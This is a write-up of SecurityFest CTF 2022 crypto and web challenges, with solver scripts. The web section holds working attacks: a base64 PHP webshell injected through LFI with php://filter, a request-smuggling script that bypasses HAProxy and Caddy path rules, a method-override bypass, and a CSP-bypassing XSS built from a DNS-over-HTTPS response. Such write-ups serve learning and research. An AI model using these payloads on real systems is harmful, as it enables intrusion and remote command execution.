SecurityFest CTF 2022 Writeups
I found out about this CTF from Cryptohack DC, so I registered midway as peko and solved some crypto and web challenges, ending up in sixth place.
Crypto
panta fler
In short, it has three messages and a key of the same length, encrypted using xor: .
First, by xoring two ciphertexts, you can get , and using the flag prefix SECFEST{
, you can guess that the result looks like an English word. Similarly, testing also yields an English word, so is the flag, and are likely English sentences.
Then, by using English words and grammar to guess the plaintext of , you can gradually recover a longer until the entire flag is revealed.
I used a simple interactive tool I had previously made for similar challenges to help me guess the flag.
from functools import reduce
def xor(*args):
if len(args) == 2:
x, y = args
return bytes([a ^ b for a, b in zip(x, y)])
return reduce(xor, args)
ct = [
b"\xc1=\x01}\xe7\x1c\x94YRj\xb3\xa7K@\xde\x0c\x9a\xc9\x00\xb0ZB\r\x87\r\x8b\x8f\xffQ\xc7",
b"\xfc\x1d4^\xd0o\xb2GE|\x89\xe4^]\xcfE\x86\xdd\x1e\x8a\r@\x1c\x96r\x92\x87\xec\x19\xd4",
b"\xfa\x19!P\x82;\xa8G\x10\x7f\x80\xa5DP\xdeE\x94\xc8S\x9cHH\x1f\x8a!\x87\xc0\xe3\x1f\xcd",
]
key = xor(b"SECFEST{", ct[0])
# key = xor(b"SECFEST{be_cautious_with_xor!}", ct[0])
while True:
pts = [xor(key, c) for c in ct]
for i, pt in enumerate(pts):
print(i, pt)
idx = int(input("Enter index: "))
if idx == -1:
break
c = input("Enter next char: ")[0]
key += bytes([ord(c) ^ ct[idx][len(key)]])
print("Current key:", key.hex())
print([xor(key, c) for c in ct])
# SECFEST{be_cautious_with_xor!}
small rsa
from random import randrange
from gmpy2 import next_prime, is_prime
bits = 128
bound = randrange(2**(bits-1), 2**bits)
print("b =", bound)
#299089579545315329927831077361748367952
B = int(next_prime(bound**2))
print("B =", B)
#89454576592593506198091003676782760426164579104178557226654770323935580674319
d = 8
def gen_prime():
while True:
ps = [randrange(bound) for _ in range(d)]
p = 0
for i in range(d):
p += ps[i]*B**i
if is_prime(p):
break
print(ps)
return p
p = gen_prime()
q = gen_prime()
n = p*q
print(f"{n = }")
#34636826522268200537774154204941407529988822872148894567372441583415254552447302749228340228906546920018188955427366065775864988572478602396106371080685655564033817360335889100181326997156956367867826271804748628399970980872535732627789819667138755054766468613617857322669943746935541793686046017146304058463046888768033823974071280198556883407966869840605294817458160107581025567028344865676401747062383757953634109234225473151412286700057343914024601771084294978143682676406989676297209210216751760067457688993962995389392757065579902776423369572207772618783218733875876004666171649676348837063312375577831738151728184702454332533310164381393954188000484797023852778358325185035355456975120195736428957973841058260571165844580731851332614644310138023335666774129908073810240673290494869672972129721881195738377137440359704474859842375310892200036137555884160008753002740372280734559191112796694291489720084349580961011222521816640149582773655766774142060407687849118888102012006683658983742498222152936133450205031770557715936326829853770866589383519670805541691607883632863177387841208657406032490492781368768715851417369111054048036698365329818004529
e = 65537
m = b"[REDACTED]"
m = int.from_bytes(m, "big")
c = pow(m, e, n)
print(f"{c = }")
#20028745085195583678378916660396397538994010666442432435713640627343638544983255393172148533881365971854283869014758186049316988000737550769605639679479180589253955045598774721246899297252406061180515011481963360240256930643234163280545121729316133742144823763601498670419742214338058035882729739026231634052850909950379775962557912899396425158183194713786156167265753101307366270122197291552260459611820717997757267712339753750891161458350673859656475246424157412488302546155825912483333623112241511338503582503574264361642880778925970123483773426929656284901291439896260232211956880277503017106751458194801408711006508735697948503777541874602351630564440747713117941961365774432080957568074493024639496001096643016830901025267139229529531498995611208677992804905291286283800620644472474016518205177496080326978650925595478508487654201440611536444236269249350798132974110183405726386731371083064781799161730272554725154294836754680153505618540394615227117220937285324830238267813179531144987439258005506277060338763635818845237827323991005526601556189238304698762279589753458427889093496877392067155432030319457380945056863466258912867795091887061462273
A straightforward RSA challenge, where the prime generation part is special, so the goal is clearly to factorize directly.
This challenge has a bound
of about 128 bits and another number B
approximately equal to bound**2
, both fitting this form:
The coefficients are all less than bound
.
An intuitive idea is to treat it as a polynomial of and directly multiply :
So theoretically, you just need to handle with as the base and then factorize the polynomial…?
In practice, some experiments show that and are not the same because when the coefficients exceed , they need to carry. So the coefficients are not the same. This seems to be the key difference in difficulty between integer factorization and polynomial factorization: Does the security of RSA come from just the carries in multiplication?.
However, in this challenge, since , the carrying part is minimal, so directly brute-forcing the carry to backtrack and then factorizing gives to solve the challenge.
from Crypto.Util.number import *
from itertools import product
B = 89454576592593506198091003676782760426164579104178557226654770323935580674319
n = 34636826522268200537774154204941407529988822872148894567372441583415254552447302749228340228906546920018188955427366065775864988572478602396106371080685655564033817360335889100181326997156956367867826271804748628399970980872535732627789819667138755054766468613617857322669943746935541793686046017146304058463046888768033823974071280198556883407966869840605294817458160107581025567028344865676401747062383757953634109234225473151412286700057343914024601771084294978143682676406989676297209210216751760067457688993962995389392757065579902776423369572207772618783218733875876004666171649676348837063312375577831738151728184702454332533310164381393954188000484797023852778358325185035355456975120195736428957973841058260571165844580731851332614644310138023335666774129908073810240673290494869672972129721881195738377137440359704474859842375310892200036137555884160008753002740372280734559191112796694291489720084349580961011222521816640149582773655766774142060407687849118888102012006683658983742498222152936133450205031770557715936326829853770866589383519670805541691607883632863177387841208657406032490492781368768715851417369111054048036698365329818004529
c = 20028745085195583678378916660396397538994010666442432435713640627343638544983255393172148533881365971854283869014758186049316988000737550769605639679479180589253955045598774721246899297252406061180515011481963360240256930643234163280545121729316133742144823763601498670419742214338058035882729739026231634052850909950379775962557912899396425158183194713786156167265753101307366270122197291552260459611820717997757267712339753750891161458350673859656475246424157412488302546155825912483333623112241511338503582503574264361642880778925970123483773426929656284901291439896260232211956880277503017106751458194801408711006508735697948503777541874602351630564440747713117941961365774432080957568074493024639496001096643016830901025267139229529531498995611208677992804905291286283800620644472474016518205177496080326978650925595478508487654201440611536444236269249350798132974110183405726386731371083064781799161730272554725154294836754680153505618540394615227117220937285324830238267813179531144987439258005506277060338763635818845237827323991005526601556189238304698762279589753458427889093496877392067155432030319457380945056863466258912867795091887061462273
carries = [1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 2, 2, 2, 2, 2, 1]
def uncarry(coef, unc):
coef = coef[:]
for i in range(len(coef) - 1, 0, -1):
coef[i] -= unc[i]
coef[i - 1] += B * unc[i]
return coef
P.<x> = ZZ[]
coef = n.digits(B)
for v in product(*map(range, carries)):
# print(v)
xx = P(uncarry(coef, v))
fs = factor(xx)
if len(fs) == 2 and fs[0][0].degree() == 7 and fs[1][0].degree() == 7:
print("found")
p = fs[0][0](B)
q = fs[1][0](B)
print(p * q == n)
if p * q == n:
break
d = inverse_mod(65537, (p - 1) * (q - 1))
print(long_to_bytes(power_mod(c, d, n)))
Later, I learned from DC that this challenge can be solved using LLL. First, , and since , directly factoring reveals possible values for .
Next, compare the linear term: , using approximate equality due to possible carry errors, which are small. In this case, are known, so LLL can be used to find small solutions, i.e., .
Then, compare the quadratic term: , and since are known, LLL can be used to find , and so on, iteratively finding all values.
Hellman’s implementation: small_rsa.ipynb
Additionally, someone in DC shared this: https://eprint.iacr.org/2015/398.pdf, which also seems to use LLL to handle such weak primes. However, the person who shared the link mentioned that they couldn’t get it to work.
knäppsäck
from random import sample, randint
p = random_prime(2^1024)
R = Zmod(p)
groups = list(randint(2, 6) for i in range(40))
thresh = list(randint(i//2, i//2 + 1) for i in groups)
G = list(
list(R.random_element() for i in range(c))
for c in groups
)
message = list(
sorted(sample(range(g), i))[::-1]
for g, i in zip(groups, thresh)
)
P = sum(
sum(g[i] for i in m)
for m, g in zip(message, G)
)
print(f"p = {p}")
print(f"groups = {groups}")
print(f"thresh = {thresh}")
print(f"G = {G}")
print(f"P = {P}")
def lexorder(x, m):
if len(x) == 0: return 1
return binomial(x[0], len(x)) + lexorder(x[1:], x[0])
flag, b = 0, 1
for m, g in zip(message, groups):
flag += lexorder(m, g) * b
b *= binomial(g, len(m))
print(f"flag = {flag}")
By directly looking at the source code, you can see that a subset of sums up to . Since the density is low (~0.15), directly using LLL and backtracking the message
to get the flag works.
with open("output.txt") as f:
exec(f.read())
ar = sum(G, [])
M = matrix(ar).T.augment(matrix.identity(len(ar)) * 2)
M = M.stack(vector([-P] + [-1] * len(ar)))
M = M.stack(vector([p] + [0] * len(ar)))
M[:, 0] *= 2 ^ 128
R = M.LLL()
sol = list(R[1][1:])
message = []
for g in G:
cur = sol[: len(g)]
sol = sol[len(g) :]
message.append([i for i, v in enumerate(cur) if v == 1][::-1])
def lexorder(x, m):
if len(x) == 0:
return 1
return binomial(x[0], len(x)) + lexorder(x[1:], x[0])
flag, b = 0, 1
for m, g in zip(message, groups):
flag += lexorder(m, g) * b
b *= binomial(g, len(m))
print(f"flag = {flag}")
really_sick_æsthetic
from morfarshatt import flagga
g = lambda k: random_prime(2^k) * random_prime(2^k)
r = lambda m: randint(1, m)
n1 = g(512)
n2 = g(512)
n3 = g(512)
m = min(n1, n2, n3)
a, b = r(m), r(m)
c, d = r(m), r(m)
x = int.from_bytes(flagga, byteorder='big')
assert(x < m)
c1 = pow(x, 3, n1)
c2 = pow(a*x + b, 3, n2)
c3 = pow(c*x + d, 3, n3)
print(f'n1, n2, n3 = {n1}, {n2}, {n3}')
print(f'a, b, c, d = {a}, {b}, {c}, {d}')
print(f'c1, c2, c3 = {c1}, {c2}, {c3}')
print(f'{len(flagga)}')
There are three RSA values , and the flag is encrypted as follows:
If there were repeated values, you could use the Related Message Attack with gcd to solve it, but this challenge doesn’t have that. Another similar form is the Hastad Broadcast Attack, but in this challenge, the second and third equations don’t allow me to get and .
However, the Hastad Broadcast Attack itself uses CRT, and this idea can also be applied here. First, define these polynomials:
It can be seen that , and then take the CRT coefficient :
Combining the two, we get , which can be seen as doing CRT for mod different numbers:
Obviously, , so . Since , is a small root compared to , and Coppersmith’s method can be used to solve it.
However, initially, I couldn’t find a solution using small roots directly, and later, I relied on additional hints to solve it:
len(flag) = 127
and
flag = SECFEST{...} + random
from Crypto.Util.number import *
n1, n2, n3 = (
1401319611347356773887154859254297488587748916167528411781955161070771235056492239930915055430725842906735678800721088435590827145380843922331596331217195998289782451691023636938672246577057750538399961569425132775422780215874173061239620286809361247476788799084351705535705191719741473638161177830819062913,
93929270671640676038272300621577590050388546365573376058848268755586443513273392470288465422034947305882115935273812814090585070611845743805708732148965001758685938419891262987151989750411904643337379571106949332912476594370786031126592832074202606178259666176275819642895388993805423801590346121886463154493,
16942255048162971761210283484837728649885892177575028340105590631533021846865838703837850496337964481215216748513001294835312645433010478899804925326573174869703026494395537885248285153728354458825455324651596388723156984568435202926704664556435326575519823264262426064534649720827701655074670423046369428487,
)
a, b, c, d = (
816707757334025955873551300291115957244929178359163189898836703794096446035376642681339350269646402403623381300867313940921411937931855866555460115147443198624007849492344102900953388236705014598317668063410070421658320251867938311242756954445599777691127340178194758168120083391846957297043258538971682656,
745711826496100756612627309746963018286384869064570930929420181315701128858481411996420808944706255787336734726114648250308181091719587312246849339268467320198235168275114019618372903191004050047010404038580467357659473336645389978388162270444112395481987515683470136265832310695565656316066649488457251542,
457113559991336310217047954994454259015470269139045253465880453115425882867168371751366860291496286988706829825972982124718895516194348207894013000632929345548822790821065845244320278540909961203024618547366059145546677151699090715138478903903713059476077714630963005563020709732576278095273999695170245879,
509199941399276795750649828994710794297214191656907620132065560140027602600782775401578085170024829709169889862887726457343903644876293675737086407127920668618215833854745693576935098817794913606783358855099827179163328860990718950946614721022541431359002875691363746468433769282630310194268851308235950929,
)
c1, c2, c3 = (
1268196573919981524276949967801999986488529166073152640081117541596594438854836034605091034310174116029963325447867011142758840266458010604314712206281207486042576686131112279236592688360682514879866358817285786950878940051455988959409256539680442525853200118747541970284236278058810272505720905257745240883,
64208823083728071837064999419452205104115247850043866522128501646834783777966548620165452087334309723488367313973950057214802570403789761738914272552005923211386317615619928040804318066050436314100228196466534901781541660761105159754722013559344265999734902281442779083683166805632208178603445218079969320285,
8509227949500504626057408247321015695521219754070289890807066036172664538036554468734653260395519871677018843271256389298835987869898579912928540836245194980365843079281083074016559389213798536654944263567871852040147199080662496995097561192482940890984303786845410433468150776276754709196911737317257395314,
)
prefix = int.from_bytes(b"SECFEST{", "big")
T1 = crt([1, 0, 0], [n1, n2, n3])
T2 = crt([0, 1, 0], [n1, n2, n3])
T3 = crt([0, 0, 1], [n1, n2, n3])
P = PolynomialRing(Zmod(n1 * n2 * n3), "x")
x = P.gen()
m = x + prefix * (2 ^ (8 * 119))
f1 = m ^ 3 - c1
f2 = (a * m + b) ^ 3 - c2
f3 = (c * m + d) ^ 3 - c3
f = f1 * T1 + f2 * T2 + f3 * T3
flag = b"SECFEST{" + long_to_bytes(
ZZ(f.monic().small_roots(X=2 ^ (8 * 119), epsilon=0.03)[0])
)
print(flag)
# SECFEST{0xlol}
Similar challenges:
Web
dumperignon
A PHP challenge, the key part is probably this:
<?php
ini_set("display_errors", TRUE);
error_reporting(E_ALL);
ini_set("allow_url_fopen", 0);
ini_set("allow_url_include", 0);
ini_set("open_basedir", "/var/www");
if(isset($_GET['source'])){
die(show_source(__FILE__));
}
function nohack($str){
return preg_replace("/(\.\.+|^\/|^(file|http|https|ftp):)/i", "XXX", $str);
}
foreach($_POST as $key => $val){
$_POST[$key] = nohack($val);
}
foreach($_GET as $key => $val){
$_GET[$key] = nohack($val);
}
foreach($_REQUEST as $key => $val){
$_REQUEST[$key] = nohack($val);
}
if(isset($_GET['file'])){
set_include_path("/var/www/messages");
echo "Message contents: <br>\n<pre>";
include($_GET['file']);
echo "</pre>";
die();
}
if(isset($_POST['file'])){
if(strlen($_POST['file']) > 1000){
echo "too big file";
die();
}
$filename = md5($_SERVER['REMOTE_ADDR']).rand(1,1337).".msg";
$fp = fopen("/var/www/messages/".$filename, 'wb');
fwrite($fp, "<?php var_dump(".var_export($_POST['file'], true).")?>");
fclose($fp);
header('Content-Length: 0');
header('Connection: close');
header('Location: /?file='.$filename);
die();
}else{
// other html
}
The solution is simple: write a base64 webshell in /var/www/messages
, and then use php://filter/convert.base64-decode/resource=...
during LFI to get the webshell.
The only thing to note is that you might need to pad some garbage before the base64 to make the webshell work properly.
Payload:
xxPD9waHAgc3lzdGVtKCRfR0VUWzBdKTsvL3R4
http://dumperignon-01.hackaplaneten.se/?file=php://filter/convert.base64-decode/resource%3D/var/www/messages/e8c2ef8ec46207240b47fd7905b70ede842.msg&0=./flag_dispenser
SECFEST{1_R@n_0ut_of_cl3v3r_fl4gz...}
*tunnelvision
Didn’t solve this during the competition, just making a note
The goal of this challenge is to GET /admin
, but there are two proxy layers: Haproxy -> Caddy -> Service
haproxy.cfg
:
global
stats socket /var/run/api.sock user haproxy group haproxy mode 660 level admin expose-fd listeners
log stdout format raw local0 debug
defaults
mode http
timeout client 10s
timeout connect 5s
timeout server 10s
timeout http-request 10s
log global
resolvers dns
nameserver ns1 127.0.0.11:53
hold valid 10s
frontend myfrontend
bind :80
acl local_management src 127.0.0.1
acl restricted_page path -i -m sub admin
http-request deny if restricted_page !local_management
default_backend webserver
backend webserver
http-response set-header Server webserver
server s1 loadbalancer:80 resolvers dns check
Caddyfile
:
:80 {
@blacklist {
not {
path /admin*
}
}
reverse_proxy @blacklist backend:80
}
In short, it just blocks paths like /admin
.
Official solution (by @avlidienbrunn):
1. bypass HAP using keep-alive + CONNECT verb + 2xx status (will put HAP in "tunnel mode", it thinks it is supposed to be a proxy, and not apply any rules)
2. bypass caddy blacklist with either invalid pct encoding or GET /admin/../blablabla. caddy uses matching on normalized path, but doesnt actually send normalized path over the wire
# coding=utf-8
import ssl, sys
from pwn import * # pip install pwntools
target = sys.argv[1]
r = remote(target, 80, ssl=False) # ssl=True
request = '''CONNECT /horoscope/leo HTTP/1.1\r\nHost: a\r\n\r\n'''.format(target)
request2 = '''GET /admin/../ HTTP/1.1\r\nHost:{}\r\n\r\n'''.format(target)
print("----------- SENDING CONNECT --------------")
r.send(request)
print(r.recvrepeat(1)) # CONNECT response
print("----------- SENDING admin --------------")
r.send(request2)
print(r.recvrepeat(1)) # smuggled GET /admin response
The /horoscope/leo
path just makes it return 200, making haproxy think the proxying was successful, and the Caddy part is documented in weird_proxies - Caddy.
However, I later saw another interesting solution:
curl -X 'POST' -H 'X-HTTP-Method-Override: GET/admin' 'http://tunnelvision-01.hackaplaneten.se/'
So I traced the code and found router.go#L156-L179, which shows that it allows you to override the method with POST and X-HTTP-Method-Override
. But generally, overriding the method shouldn’t control the path, right? This works because the routes in this framework are represented as /$METHOD$PATH
, like /GET/admin
. So by overriding the method, it injects, and since this challenge accepts /admin
or /admin/*
to get the flag, it successfully matches.
madness
A special XSS challenge (just need alert(1)
), with some key parts in the source code:
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def hello_world(path):
if path == "":
return redirect("/app", code=301)
return render_template('index.html', prefix="/"+request.path.lstrip("/"))
# ...
@app.after_request
def add_header(response):
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['Content-Security-Policy'] = "default-src 'self' cloudflare-dns.com; img-src *"
return response
And index.html
:
<html lang="en-US" prefix="og: http://ogp.me/ns#">
<head id="head">
<title>Madness</title>
<link
href="https://cloudflare-dns.com/purgeCache-c2074bf50c85410bcdf0.css"
rel="stylesheet"
/>
<link
href="https://cloudflare-dns.com/purgeCache-c2074bf50c85410bcdf0.css"
rel="stylesheet"
/>
<link rel="stylesheet" href="{{ prefix }}/static/style.css"></link>
<script type="text/javascript" src="{{ prefix }}/static/dns.js"></script>
<!--
_
_ _,-'_)_
|,' ,-' __) ,------/.
| -' _)/ `\ ______________
,' ,-'_,` : / \
,-' ,(,-( : | DoH' |
,' ,-' , _ ; --\_______________/
/ ,-._/`---' / _'
/ (____)(----. ) ,'
/ ( `.__, /\ /,
: ;-.___ /__\/|
| ,' `--. -,\ |
: / \ .__/
\ (__ \ |_
\ ,`-, * / _|,\
\ ,' `-. ,'_,-' \
(_\,-' ,'\")--,'-' __\
\ / // ,'| ,--' `-.
`-. `-/ \' | _,' `.
`-._ / `--'/ \
,' | \
/ | \
,-' | /
/ | -'
-->
</head>
<body class="purge-cache-page bg">
<main>
<section data-section="purge-cache">
<div class="form-container">
<header>
<h1 class="title">Madness DNS</h1>
</header>
<p class="description">
<span
>This page allows users to refresh DNS cache and lookup domain names without having to be an absolute nerd using terminals and all that stuff. Enjoy!</span
>
</p>
<form id="lookup-name-form"></form>
<form id="purge-cache-form">
<div class="label required">Domain Name</div>
<input
id="domain"
class="input-field"
name="domain"
type="text"
placeholder="example.com"
required=""
/>
<br />
<input id="submit-button" type="submit" form="lookup-name-form" value="Lookup DNS name" />
<input id="submit-button" type="submit" value="Purge DNS cache" />
</form>
<div id="info-message"></div>
</div>
</section>
</main>
</body>
</html>
It’s clear that the prefix is controllable, but due to lstrip("/")
, you can’t use //example.com/foo.js
to get a third-party script. However, I tested and found that Chrome treats \
as /
, so \/example.com/foo.js
works.
The next step is to bypass CSP, which only allows self and cloudflare-dns.com
. It’s clear that you need to find an endpoint on cloudflare-dns.com
that can return a custom payload.
After some research, I found this in the official documentation: Using DNS Wireformat
It allows you to send DNS packets encoded in base64 in the URL, and the response is a binary DNS response. So I looked for a way to make the DNS response into JS to bypass CSP.
I researched DNS protocol details and found this, which helped me understand the DNS packet format. The key is the 16-bit ID
at the beginning of the DNS header, which is also returned in the response. So if the ID
is 0x2F2A
, the response starts with /*
.
Next, I tested by putting */alert(1)//
in the domain name part of the query, and it appears unchanged in the response, allowing XSS.
from base64 import b64decode, b64encode
from dnslib import DNSRecord, DNSQuestion, DNSHeader
pkt = DNSRecord(DNSHeader(id=0x2F2A), q=DNSQuestion("*/alert(1)//"))
b64encode(pkt.pack())
# http://madness-01.hackaplaneten.se:3000/%5Ccloudflare-dns.com/dns-query%3Fdns%3DLyoBAAABAAAAAAAADCovYWxlcnQoMSkvLwAAAQAB%23
# SECFEST{l00kz_l13K_JS_2_m3!?}
Sometimes, if it fails, you can add some random stuff after
DNSQuestion
’sname
, just make sure the response doesn’t contain0a
or0d
.